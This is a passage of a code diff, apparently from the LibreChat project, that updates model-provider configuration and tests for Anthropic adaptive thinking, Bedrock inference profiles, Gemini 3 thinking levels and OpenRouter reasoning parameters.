thinkingBudget: options.modelOptions?.thinkingBudget ?? anthropicSettings.thinkingBudget.default, + effort: options.modelOptions?.effort ?? anthropicSettings.effort.default, }; - /** Couldn't figure out a way to still loop through the object while deleting the overlapping keys when porting this - * over from javascript, so for now they are being deleted manually until a better way presents itself. - */ if (options.modelOptions) { delete options.modelOptions.thinking; delete options.modelOptions.promptCache; delete options.modelOptions.thinkingBudget; + delete options.modelOptions.effort; } else { throw new Error('No modelOptions provided'); } @@ -145,10 +149,33 @@ function getLLMConfig( requestOptions = configureReasoning(requestOptions, systemOptions); - if (!/claude-3[-.]7/.test(mergedOptions.model)) { - requestOptions.topP = mergedOptions.topP; - requestOptions.topK = mergedOptions.topK; - } else if (requestOptions.thinking == null) { + if (supportsAdaptiveThinking(mergedOptions.model)) { + if ( + systemOptions.effort && + (systemOptions.effort as string) !== '' && + !requestOptions.invocationKwargs?.output_config + ) { + requestOptions.invocationKwargs = { + ...requestOptions.invocationKwargs, + output_config: { effort: systemOptions.effort }, + }; + } + } else { + if ( + requestOptions.thinking != null && + (requestOptions.thinking as unknown as { type: string }).type === 'adaptive' + ) { + delete requestOptions.thinking; + } + if (requestOptions.invocationKwargs?.output_config) { + delete requestOptions.invocationKwargs.output_config; + } + } + + const hasActiveThinking = requestOptions.thinking != null; + const isThinkingModel = + /claude-3[-.]7/.test(mergedOptions.model) || supportsAdaptiveThinking(mergedOptions.model); + if (!isThinkingModel || !hasActiveThinking) { requestOptions.topP = mergedOptions.topP; requestOptions.topK = mergedOptions.topK; } diff --git a/packages/api/src/endpoints/anthropic/vertex.ts b/packages/api/src/endpoints/anthropic/vertex.ts index 8389eb3abb..179aca4d74 100644 --- a/packages/api/src/endpoints/anthropic/vertex.ts +++ b/packages/api/src/endpoints/anthropic/vertex.ts @@ -1,10 +1,10 @@ import path from 'path'; -import { AnthropicVertex } from '@anthropic-ai/vertex-sdk'; import { GoogleAuth } from 'google-auth-library'; -import { ClientOptions } from '@anthropic-ai/sdk'; import { AuthKeys } from 'librechat-data-provider'; -import { loadServiceKey } from '~/utils/key'; +import { AnthropicVertex } from '@anthropic-ai/vertex-sdk'; +import type { ClientOptions } from '@anthropic-ai/sdk'; import type { AnthropicCredentials, VertexAIClientOptions } from '~/types/anthropic'; +import { loadServiceKey } from '~/utils/key'; /** * Options for loading Vertex AI credentials diff --git a/packages/api/src/endpoints/bedrock/initialize.spec.ts b/packages/api/src/endpoints/bedrock/initialize.spec.ts index 9b0ba152d7..158650017e 100644 --- a/packages/api/src/endpoints/bedrock/initialize.spec.ts +++ b/packages/api/src/endpoints/bedrock/initialize.spec.ts @@ -313,4 +313,475 @@ describe('initializeBedrock', () => { expect(typeof result.configOptions).toBe('object'); }); }); + + describe('Inference Profile Configuration', () => { + it('should set applicationInferenceProfile when model has matching inference profile config', async () => { + const inferenceProfileArn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/abc123'; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': inferenceProfileArn, + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', inferenceProfileArn); + }); + + it('should NOT set applicationInferenceProfile when model has no matching config', async () => { + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0': + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/xyz789', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', // Different model + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).not.toHaveProperty('applicationInferenceProfile'); + }); + + it('should resolve environment variable in inference profile ARN', async () => { + const inferenceProfileArn = + 'arn:aws:bedrock:us-east-1:951834775723:application-inference-profile/yjr1elcyt29s'; + process.env.BEDROCK_INFERENCE_PROFILE_ARN = inferenceProfileArn; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': '${BEDROCK_INFERENCE_PROFILE_ARN}', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', inferenceProfileArn); + }); + + it('should use direct ARN when no env variable syntax is used', async () => { + const directArn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/direct123'; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': directArn, + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', directArn); + }); + + it('should fall back to original string when env variable is not set', async () => { + // Ensure the env var is not set + delete process.env.NONEXISTENT_PROFILE_ARN; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': '${NONEXISTENT_PROFILE_ARN}', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + // Should return the original ${VAR} string when env var doesn't exist + expect(result.llmConfig).toHaveProperty( + 'applicationInferenceProfile', + '${NONEXISTENT_PROFILE_ARN}', + ); + }); + + it('should resolve multiple different env variables for different models', async () => { + const claude37Arn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/claude37'; + const sonnet45Arn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/sonnet45'; + + process.env.CLAUDE_37_PROFILE = claude37Arn; + process.env.SONNET_45_PROFILE = sonnet45Arn; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': '${CLAUDE_37_PROFILE}', + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0': '${SONNET_45_PROFILE}', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', claude37Arn); + }); + + it('should handle env variable with whitespace around it', async () => { + const inferenceProfileArn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/trimmed'; + process.env.TRIMMED_PROFILE_ARN = inferenceProfileArn; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': ' ${TRIMMED_PROFILE_ARN} ', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', inferenceProfileArn); + }); + + it('should NOT set applicationInferenceProfile when inferenceProfiles config is empty', async () => { + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: {}, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).not.toHaveProperty('applicationInferenceProfile'); + }); + + it('should NOT set applicationInferenceProfile when no bedrock config exists', async () => { + const params = createMockParams({ + config: {}, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).not.toHaveProperty('applicationInferenceProfile'); + }); + + it('should handle multiple inference profiles and select the correct one', async () => { + const sonnet45Arn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/sonnet45'; + const claude37Arn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/claude37'; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0': sonnet45Arn, + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': claude37Arn, + 'global.anthropic.claude-opus-4-5-20251101-v1:0': + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/opus45', + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', claude37Arn); + }); + + it('should work alongside guardrailConfig', async () => { + const inferenceProfileArn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/abc123'; + const guardrailConfig = { + guardrailIdentifier: 'test-guardrail', + guardrailVersion: '1', + }; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': inferenceProfileArn, + }, + guardrailConfig, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', inferenceProfileArn); + expect(result.llmConfig).toHaveProperty('guardrailConfig', guardrailConfig); + }); + + it('should preserve the original model ID in llmConfig.model', async () => { + const inferenceProfileArn = + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/abc123'; + + const params = createMockParams({ + config: { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': inferenceProfileArn, + }, + }, + }, + }, + model_parameters: { + model: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + // Model ID should remain unchanged - only applicationInferenceProfile should be set + expect(result.llmConfig).toHaveProperty( + 'model', + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + ); + expect(result.llmConfig).toHaveProperty('applicationInferenceProfile', inferenceProfileArn); + }); + }); + + describe('Opus 4.6 Adaptive Thinking', () => { + it('should configure adaptive thinking with no default maxTokens for Opus 4.6', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-6-v1', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.thinking).toEqual({ type: 'adaptive' }); + expect(result.llmConfig.maxTokens).toBeUndefined(); + expect(amrf.anthropic_beta).toEqual( + expect.arrayContaining(['output-128k-2025-02-19', 'context-1m-2025-08-07']), + ); + }); + + it('should pass effort via output_config for Opus 4.6', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-6-v1', + effort: 'medium', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.thinking).toEqual({ type: 'adaptive' }); + expect(amrf.output_config).toEqual({ effort: 'medium' }); + }); + + it('should respect user-provided maxTokens for Opus 4.6', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-6-v1', + maxTokens: 32000, + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig.maxTokens).toBe(32000); + }); + + it('should handle cross-region Opus 4.6 model IDs', async () => { + const params = createMockParams({ + model_parameters: { + model: 'us.anthropic.claude-opus-4-6-v1', + effort: 'low', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(result.llmConfig).toHaveProperty('model', 'us.anthropic.claude-opus-4-6-v1'); + expect(amrf.thinking).toEqual({ type: 'adaptive' }); + expect(amrf.output_config).toEqual({ effort: 'low' }); + }); + + it('should use enabled thinking for non-adaptive models (Sonnet 4.5)', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-sonnet-4-5-20250929-v1:0', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.thinking).toEqual({ type: 'enabled', budget_tokens: 2000 }); + expect(amrf.output_config).toBeUndefined(); + expect(result.llmConfig.maxTokens).toBe(8192); + }); + + it('should not include output_config when effort is empty', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-6-v1', + effort: '', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.thinking).toEqual({ type: 'adaptive' }); + expect(amrf.output_config).toBeUndefined(); + }); + + it('should strip effort for non-adaptive models', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-1-20250805-v1:0', + effort: 'high', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.thinking).toEqual({ type: 'enabled', budget_tokens: 2000 }); + expect(amrf.output_config).toBeUndefined(); + expect(amrf.effort).toBeUndefined(); + }); + }); + + describe('Bedrock reasoning_effort for Moonshot/ZAI models', () => { + it('should map reasoning_effort to reasoning_config for Moonshot Kimi K2.5', async () => { + const params = createMockParams({ + model_parameters: { + model: 'moonshotai.kimi-k2.5', + reasoning_effort: 'high', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.reasoning_config).toBe('high'); + expect(amrf.reasoning_effort).toBeUndefined(); + expect(amrf.thinking).toBeUndefined(); + expect(amrf.anthropic_beta).toBeUndefined(); + }); + + it('should map reasoning_effort to reasoning_config for ZAI GLM', async () => { + const params = createMockParams({ + model_parameters: { + model: 'zai.glm-4.7', + reasoning_effort: 'medium', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.reasoning_config).toBe('medium'); + expect(amrf.reasoning_effort).toBeUndefined(); + }); + + it('should not include reasoning_config when reasoning_effort is unset', async () => { + const params = createMockParams({ + model_parameters: { + model: 'moonshotai.kimi-k2.5', + reasoning_effort: '', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + + expect(result.llmConfig.additionalModelRequestFields).toBeUndefined(); + }); + + it('should not map reasoning_effort to reasoning_config for Anthropic models', async () => { + const params = createMockParams({ + model_parameters: { + model: 'anthropic.claude-opus-4-6-v1', + reasoning_effort: 'high', + }, + }); + + const result = (await initializeBedrock(params)) as BedrockLLMConfigResult; + const amrf = result.llmConfig.additionalModelRequestFields as Record; + + expect(amrf.reasoning_config).toBeUndefined(); + expect(amrf.thinking).toEqual({ type: 'adaptive' }); + }); + }); }); diff --git a/packages/api/src/endpoints/bedrock/initialize.ts b/packages/api/src/endpoints/bedrock/initialize.ts index 9f5db47bf7..f3ba459ba5 100644 --- a/packages/api/src/endpoints/bedrock/initialize.ts +++ b/packages/api/src/endpoints/bedrock/initialize.ts @@ -4,6 +4,7 @@ import { BedrockRuntimeClient } from '@aws-sdk/client-bedrock-runtime'; import { AuthType, EModelEndpoint, + extractEnvVariable, bedrockInputParser, bedrockOutputParser, removeNullishValues, @@ -13,6 +14,7 @@ import type { InitializeResultBase, BedrockCredentials, GuardrailConfiguration, + InferenceProfileConfig, } from '~/types'; import { checkUserKeyExpiry } from '~/utils'; @@ -49,7 +51,10 @@ export async function initializeBedrock({ void endpoint; const appConfig = req.config; const bedrockConfig = appConfig?.endpoints?.[EModelEndpoint.bedrock] as - | ({ guardrailConfig?: GuardrailConfiguration } & Record) + | ({ + guardrailConfig?: GuardrailConfiguration; + inferenceProfiles?: InferenceProfileConfig; + } & Record) | undefined; const { @@ -105,17 +110,25 @@ export async function initializeBedrock({ }), ), ) as InitializeResultBase['llmConfig'] & { + model?: string; region?: string; client?: BedrockRuntimeClient; credentials?: BedrockCredentials; endpointHost?: string; guardrailConfig?: GuardrailConfiguration; + applicationInferenceProfile?: string; }; if (bedrockConfig?.guardrailConfig) { llmConfig.guardrailConfig = bedrockConfig.guardrailConfig; } + const model = model_parameters?.model as string | undefined; + if (model && bedrockConfig?.inferenceProfiles?.[model]) { + const applicationInferenceProfile = extractEnvVariable(bedrockConfig.inferenceProfiles[model]); + llmConfig.applicationInferenceProfile = applicationInferenceProfile; + } + /** Only include credentials if they're complete (accessKeyId and secretAccessKey are both set) */ const hasCompleteCredentials = credentials && diff --git a/packages/api/src/endpoints/config.ts b/packages/api/src/endpoints/config.ts index 041f8ca73d..97246fa336 100644 --- a/packages/api/src/endpoints/config.ts +++ b/packages/api/src/endpoints/config.ts @@ -21,7 +21,7 @@ export type InitializeFn = (params: BaseInitializeParams) => Promise = { [Providers.XAI]: initializeCustom, [Providers.DEEPSEEK]: initializeCustom, + [Providers.MOONSHOT]: initializeCustom, [Providers.OPENROUTER]: initializeCustom, [EModelEndpoint.openAI]: initializeOpenAI, [EModelEndpoint.google]: initializeGoogle, diff --git a/packages/api/src/endpoints/custom/initialize.ts b/packages/api/src/endpoints/custom/initialize.ts index 4550fa9f5b..7930b1c12f 100644 --- a/packages/api/src/endpoints/custom/initialize.ts +++ b/packages/api/src/endpoints/custom/initialize.ts @@ -31,7 +31,6 @@ function buildCustomOptions( customParams: endpointConfig.customParams, titleConvo: endpointConfig.titleConvo, titleModel: endpointConfig.titleModel, - forcePrompt: endpointConfig.forcePrompt, summaryModel: endpointConfig.summaryModel, modelDisplayLabel: endpointConfig.modelDisplayLabel, titleMethod: endpointConfig.titleMethod ?? 'completion', diff --git a/packages/api/src/endpoints/google/llm.spec.ts b/packages/api/src/endpoints/google/llm.spec.ts index d9aa1a702a..6e2a8ddb25 100644 --- a/packages/api/src/endpoints/google/llm.spec.ts +++ b/packages/api/src/endpoints/google/llm.spec.ts @@ -1,5 +1,5 @@ import { Providers } from '@librechat/agents'; -import { AuthKeys } from 'librechat-data-provider'; +import { AuthKeys, ThinkingLevel } from 'librechat-data-provider'; import type * as t from '~/types'; import { getGoogleConfig, getSafetySettings, knownGoogleParams } from './llm'; @@ -367,6 +367,191 @@ describe('getGoogleConfig', () => { }); }); + describe('Gemini 3 Thinking Level', () => { + it('should use thinkingLevel for Gemini 3 models with Google provider', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-pro-preview', + thinking: true, + thinkingLevel: ThinkingLevel.high, + }, + }); + + expect(result.llmConfig).toHaveProperty('thinkingConfig'); + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + includeThoughts: true, + thinkingLevel: ThinkingLevel.high, + }); + expect((result.llmConfig as Record).thinkingConfig).not.toHaveProperty( + 'thinkingBudget', + ); + }); + + it('should use thinkingLevel for Gemini 3.1 models', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3.1-pro-preview', + thinking: true, + thinkingLevel: ThinkingLevel.medium, + }, + }); + + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + includeThoughts: true, + thinkingLevel: ThinkingLevel.medium, + }); + }); + + it('should omit thinkingLevel when unset (empty string) for Gemini 3', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-flash-preview', + thinking: true, + thinkingLevel: ThinkingLevel.unset, + }, + }); + + expect(result.llmConfig).toHaveProperty('thinkingConfig'); + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + includeThoughts: true, + }); + expect((result.llmConfig as Record).thinkingConfig).not.toHaveProperty( + 'thinkingLevel', + ); + }); + + it('should not set thinkingConfig when thinking is false for Gemini 3', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-pro-preview', + thinking: false, + thinkingLevel: ThinkingLevel.high, + }, + }); + + expect(result.llmConfig).not.toHaveProperty('thinkingConfig'); + }); + + it('should use thinkingLevel for Gemini 3 with Vertex AI provider', () => { + const credentials = { + [AuthKeys.GOOGLE_SERVICE_KEY]: { + project_id: 'test-project', + }, + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-pro-preview', + thinking: true, + thinkingLevel: ThinkingLevel.low, + }, + }); + + expect(result.provider).toBe(Providers.VERTEXAI); + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + includeThoughts: true, + thinkingLevel: ThinkingLevel.low, + }); + expect(result.llmConfig).toHaveProperty('includeThoughts', true); + }); + + it('should send thinkingConfig by default for Gemini 3 (no thinking options set)', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-pro-preview', + }, + }); + + expect(result.llmConfig).toHaveProperty('thinkingConfig'); + const config = (result.llmConfig as Record).thinkingConfig; + expect(config).toMatchObject({ includeThoughts: true }); + expect(config).not.toHaveProperty('thinkingLevel'); + }); + + it('should ignore thinkingBudget for Gemini 3+ models', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-3-pro-preview', + thinking: true, + thinkingBudget: 5000, + }, + }); + + const config = (result.llmConfig as Record).thinkingConfig; + expect(config).not.toHaveProperty('thinkingBudget'); + expect(config).toMatchObject({ includeThoughts: true }); + }); + + it('should NOT classify gemini-2.9-flash as Gemini 3+', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-2.9-flash', + thinking: true, + thinkingBudget: 5000, + }, + }); + + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + thinkingBudget: 5000, + includeThoughts: true, + }); + expect((result.llmConfig as Record).thinkingConfig).not.toHaveProperty( + 'thinkingLevel', + ); + }); + + it('should use thinkingBudget (not thinkingLevel) for Gemini 2.5 models', () => { + const credentials = { + [AuthKeys.GOOGLE_API_KEY]: 'test-api-key', + }; + + const result = getGoogleConfig(credentials, { + modelOptions: { + model: 'gemini-2.5-flash', + thinking: true, + thinkingBudget: 5000, + thinkingLevel: ThinkingLevel.high, + }, + }); + + expect((result.llmConfig as Record).thinkingConfig).toMatchObject({ + thinkingBudget: 5000, + includeThoughts: true, + }); + expect((result.llmConfig as Record).thinkingConfig).not.toHaveProperty( + 'thinkingLevel', + ); + }); + }); + describe('Web Search Functionality', () => { it('should enable web search when web_search is true', () => { const credentials = { diff --git a/packages/api/src/endpoints/google/llm.ts b/packages/api/src/endpoints/google/llm.ts index 289bc0e952..83951f9e0c 100644 --- a/packages/api/src/endpoints/google/llm.ts +++ b/packages/api/src/endpoints/google/llm.ts @@ -150,6 +150,7 @@ export function getGoogleConfig( const { web_search, + thinkingLevel, thinking = googleSettings.thinking.default, thinkingBudget = googleSettings.thinkingBudget.default, ...modelOptions @@ -196,19 +197,48 @@ export function getGoogleConfig( ); } - const shouldEnableThinking = - thinking && thinkingBudget != null && (thinkingBudget > 0 || thinkingBudget === -1); + const modelName = (modelOptions?.model ?? '') as string; - if (shouldEnableThinking && provider === Providers.GOOGLE) { - (llmConfig as GoogleClientOptions).thinkingConfig = { - thinkingBudget: thinking ? thinkingBudget : googleSettings.thinkingBudget.default, - includeThoughts: Boolean(thinking), + /** + * Gemini 3+ uses a qualitative `thinkingLevel` ('minimal'|'low'|'medium'|'high') + * instead of the numeric `thinkingBudget` used by Gemini 2.5 and earlier. + * When `thinking` is enabled (default: true), we always send `thinkingConfig` + * with `includeThoughts: true`. The `thinkingBudget` param is ignored for Gemini 3+. + * + * For Vertex AI, top-level `includeThoughts` is still required because + * `@langchain/google-common`'s `formatGenerationConfig` reads it separately + * from `thinkingConfig` — they serve different purposes in the request pipeline. + */ + const isGemini3Plus = /gemini-([3-9]|\d{2,})/i.test(modelName); + + if (isGemini3Plus && thinking) { + const thinkingConfig: { includeThoughts: boolean; thinkingLevel?: string } = { + includeThoughts: true, }; - } else if (shouldEnableThinking && provider === Providers.VERTEXAI) { - (llmConfig as VertexAIClientOptions).thinkingBudget = thinking - ? thinkingBudget - : googleSettings.thinkingBudget.default; - (llmConfig as VertexAIClientOptions).includeThoughts = Boolean(thinking); + if (thinkingLevel) { + thinkingConfig.thinkingLevel = thinkingLevel as string; + } + if (provider === Providers.GOOGLE) { + (llmConfig as GoogleClientOptions).thinkingConfig = thinkingConfig; + } else if (provider === Providers.VERTEXAI) { + (llmConfig as Record).thinkingConfig = thinkingConfig; + (llmConfig as VertexAIClientOptions).includeThoughts = true; + } + } else if (!isGemini3Plus) { + const shouldEnableThinking = + thinking && thinkingBudget != null && (thinkingBudget > 0 || thinkingBudget === -1); + + if (shouldEnableThinking && provider === Providers.GOOGLE) { + (llmConfig as GoogleClientOptions).thinkingConfig = { + thinkingBudget: thinking ? thinkingBudget : googleSettings.thinkingBudget.default, + includeThoughts: Boolean(thinking), + }; + } else if (shouldEnableThinking && provider === Providers.VERTEXAI) { + (llmConfig as VertexAIClientOptions).thinkingBudget = thinking + ? thinkingBudget + : googleSettings.thinkingBudget.default; + (llmConfig as VertexAIClientOptions).includeThoughts = Boolean(thinking); + } } /* diff --git a/packages/api/src/endpoints/openai/config.backward-compat.spec.ts b/packages/api/src/endpoints/openai/config.backward-compat.spec.ts index 78b854b4b0..374fe1d188 100644 --- a/packages/api/src/endpoints/openai/config.backward-compat.spec.ts +++ b/packages/api/src/endpoints/openai/config.backward-compat.spec.ts @@ -87,6 +87,8 @@ describe('getOpenAIConfig - Backward Compatibility', () => { defaultHeaders: { 'HTTP-Referer': 'https://librechat.ai', 'X-Title': 'LibreChat', + 'X-OpenRouter-Title': 'LibreChat', + 'X-OpenRouter-Categories': 'general-chat,personal-agent', 'x-librechat-thread-id': '{{LIBRECHAT_BODY_CONVERSATIONID}}', 'x-test-key': '{{TESTING_USER_VAR}}', }, diff --git a/packages/api/src/endpoints/openai/config.spec.ts b/packages/api/src/endpoints/openai/config.spec.ts index 405873490f..cdf9d6f14c 100644 --- a/packages/api/src/endpoints/openai/config.spec.ts +++ b/packages/api/src/endpoints/openai/config.spec.ts @@ -197,6 +197,8 @@ describe('getOpenAIConfig', () => { expect(result.configOptions?.defaultHeaders).toMatchObject({ 'HTTP-Referer': 'https://librechat.ai', 'X-Title': 'LibreChat', + 'X-OpenRouter-Title': 'LibreChat', + 'X-OpenRouter-Categories': 'general-chat,personal-agent', }); expect(result.llmConfig.include_reasoning).toBe(true); expect(result.provider).toBe('openrouter'); @@ -861,7 +863,7 @@ describe('getOpenAIConfig', () => { expect(result.provider).toBe('openrouter'); }); - it('should handle OpenRouter with reasoning params', () => { + it('should handle OpenRouter with reasoning params (no summary)', () => { const modelOptions = { reasoning_effort: ReasoningEffort.high, reasoning_summary: ReasoningSummary.detailed, @@ -872,10 +874,10 @@ describe('getOpenAIConfig', () => { modelOptions, }); - expect(result.llmConfig.reasoning).toEqual({ - effort: ReasoningEffort.high, - summary: ReasoningSummary.detailed, + expect(result.llmConfig.modelKwargs).toMatchObject({ + reasoning: { effort: ReasoningEffort.high }, }); + expect(result.llmConfig.include_reasoning).toBeUndefined(); expect(result.provider).toBe('openrouter'); }); @@ -893,6 +895,8 @@ describe('getOpenAIConfig', () => { expect(result.configOptions?.defaultHeaders).toEqual({ 'HTTP-Referer': 'https://librechat.ai', 'X-Title': 'LibreChat', + 'X-OpenRouter-Title': 'LibreChat', + 'X-OpenRouter-Categories': 'general-chat,personal-agent', 'X-Custom-Header': 'custom-value', Authorization: 'Bearer custom-token', }); @@ -1205,12 +1209,13 @@ describe('getOpenAIConfig', () => { model: 'gpt-4-turbo', temperature: 0.8, streaming: false, - include_reasoning: true, // OpenRouter specific }); + expect(result.llmConfig.include_reasoning).toBeUndefined(); // Should NOT have useResponsesApi for OpenRouter expect(result.llmConfig.useResponsesApi).toBeUndefined(); expect(result.llmConfig.maxTokens).toBe(2000); expect(result.llmConfig.modelKwargs).toEqual({ + reasoning: { effort: ReasoningEffort.high }, verbosity: Verbosity.medium, customParam: 'custom-value', plugins: [{ id: 'web' }], // OpenRouter web search format @@ -1300,7 +1305,6 @@ describe('getOpenAIConfig', () => { max_completion_tokens: 4000, }, dropParams: ['frequency_penalty'], - forcePrompt: false, modelOptions: { model: modelName, user: 'azure-user-123', @@ -1395,7 +1399,6 @@ describe('getOpenAIConfig', () => { dropParams: ['presence_penalty'], titleConvo: true, titleModel: 'gpt-3.5-turbo', - forcePrompt: false, summaryModel: 'gpt-3.5-turbo', modelDisplayLabel: 'Custom GPT-4', titleMethod: 'completion', @@ -1414,7 +1417,6 @@ describe('getOpenAIConfig', () => { customParams: {}, titleConvo: endpointConfig.titleConvo, titleModel: endpointConfig.titleModel, - forcePrompt: 